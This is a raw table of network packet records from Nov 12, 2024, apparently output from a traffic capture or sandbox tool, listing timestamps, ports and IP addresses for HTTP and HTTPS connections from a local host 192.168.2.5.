Nov 12, 2024 06:23:32.815609932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.815620899 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.815625906 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.815634012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.815638065 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.815644979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.815668106 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.815682888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.815682888 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.815706015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.815715075 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.815730095 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.891694069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.891697884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.891711950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.891729116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.891741991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.891746044 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.891756058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.891772032 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.891787052 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.891865015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.891912937 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.891922951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.891961098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.891988993 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892024040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892035961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892047882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892055035 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892069101 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892081022 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892234087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892246008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892256975 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892272949 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892292976 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892436028 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892451048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892462969 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892472029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892477989 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892482996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892488956 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892501116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892512083 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892539024 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892784119 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892796040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892810106 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892824888 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892833948 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892838955 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892851114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892851114 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892862082 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892868996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892879963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892884016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.892890930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.892905951 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.893023968 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.893220901 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.893265963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.893276930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.893279076 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.893296957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.893311024 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.893332005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.893342972 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.893352032 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.893368006 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.893372059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.893384933 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.893390894 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.893393993 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.893413067 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.893433094 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.939096928 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.939135075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.939147949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.939158916 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.939162016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.939171076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.939183950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.939188004 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.939201117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.939229012 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.939241886 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.939286947 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.939299107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.939321995 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.939325094 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.939333916 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:32.939340115 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.939354897 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:32.939373970 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.006989956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007004976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007019997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007031918 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007040024 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007050991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007059097 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007066011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007077932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007098913 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007108927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007110119 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007141113 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007141113 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007153988 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007174969 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007184982 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007230997 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007272005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007283926 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007293940 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007317066 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007339001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007364988 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007405043 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007416010 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007441998 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007575035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007580996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007586002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007611990 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007611990 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007625103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007637024 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007658958 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007837057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007838011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007848978 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007862091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007873058 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007874966 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007889986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.007890940 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007910967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007910967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.007931948 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.008102894 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.008141041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.008150101 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.008153915 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.008172035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.008178949 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.008197069 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.008218050 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.008234024 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.008248091 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.008253098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.008265018 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.008276939 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.008290052 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.008326054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.008563042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.008577108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.008595943 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.008606911 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.008614063 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.008620977 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.008622885 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.008642912 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.008654118 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.008661985 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.046756029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.046807051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.046818018 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.046854019 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.046864033 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.046902895 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.046914101 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.046927929 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.046993971 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.047005892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.047017097 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.047024012 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.047058105 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.047058105 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.047163963 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.047175884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.047185898 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.047229052 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.047229052 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.047322035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.047333956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.047344923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.047369003 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.047502995 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.047674894 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.047681093 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.047756910 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.054367065 CET	443	49846	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:33.054390907 CET	443	49846	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:33.054435015 CET	443	49846	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:33.054469109 CET	49846	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:33.054483891 CET	443	49846	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:33.054512024 CET	49846	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:33.054927111 CET	49846	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:33.054939032 CET	443	49846	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:33.054966927 CET	49846	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:33.055068016 CET	443	49846	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:33.055094957 CET	443	49846	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:33.055155039 CET	49846	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:33.059854984 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.060856104 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.060870886 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.061214924 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.061534882 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.061587095 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.061732054 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.061732054 CET	54507	443	192.168.2.5	104.40.82.182
Nov 12, 2024 06:23:33.061744928 CET	443	54507	104.40.82.182	192.168.2.5
Nov 12, 2024 06:23:33.115335941 CET	54516	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.115372896 CET	443	54516	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.115453959 CET	54516	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.115605116 CET	54517	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.115648031 CET	443	54517	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.115712881 CET	54517	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.115757942 CET	54518	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.115772009 CET	443	54518	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.115972042 CET	54519	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.115979910 CET	443	54519	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.116014957 CET	54518	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.116147041 CET	54521	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.116151094 CET	54520	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.116190910 CET	443	54520	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.116193056 CET	443	54521	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.116226912 CET	54519	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.116255045 CET	54521	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.116257906 CET	54520	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.116388083 CET	54516	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.116400003 CET	443	54516	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.116588116 CET	54518	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.116594076 CET	443	54518	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.116607904 CET	54517	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.116621017 CET	443	54517	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.116847038 CET	54521	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.116863012 CET	54519	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.116866112 CET	443	54521	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.116877079 CET	443	54519	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.116952896 CET	54520	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.116966963 CET	443	54520	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.122252941 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122267962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122278929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122339010 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.122339010 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.122364044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122375965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122387886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122404099 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.122419119 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.122498035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122509956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122519970 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122539043 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.122580051 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.122596979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122615099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122625113 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122637033 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.122675896 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.122742891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122795105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122806072 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122817039 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.122932911 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122945070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122956038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122957945 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.122967958 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.122981071 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.122988939 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123126984 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123130083 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123138905 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123155117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123173952 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123189926 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123199940 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123199940 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123223066 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123342991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123398066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123409033 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123430014 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123456001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123467922 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123481035 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123483896 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123502016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123502016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123666048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123670101 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123791933 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123804092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123814106 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123816967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123826027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123832941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123832941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123842001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123853922 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123858929 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123866081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.123872042 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123909950 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123909950 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.123980045 CET	54522	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:33.124012947 CET	443	54522	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:33.124191999 CET	54522	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:33.124643087 CET	54522	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:33.124660015 CET	443	54522	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:33.133413076 CET	443	54508	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.133876085 CET	54508	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.133903980 CET	443	54508	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.135376930 CET	54508	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:33.135381937 CET	443	54508	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:33.162291050 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162308931 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162336111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162347078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162358999 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.162364006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162370920 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162421942 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.162421942 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.162507057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162518978 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162529945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162549019 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.162602901 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:33.162651062 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162662029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162673950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:33.162693024 CET	49779	80	192.168.2.5	185.215.113.206
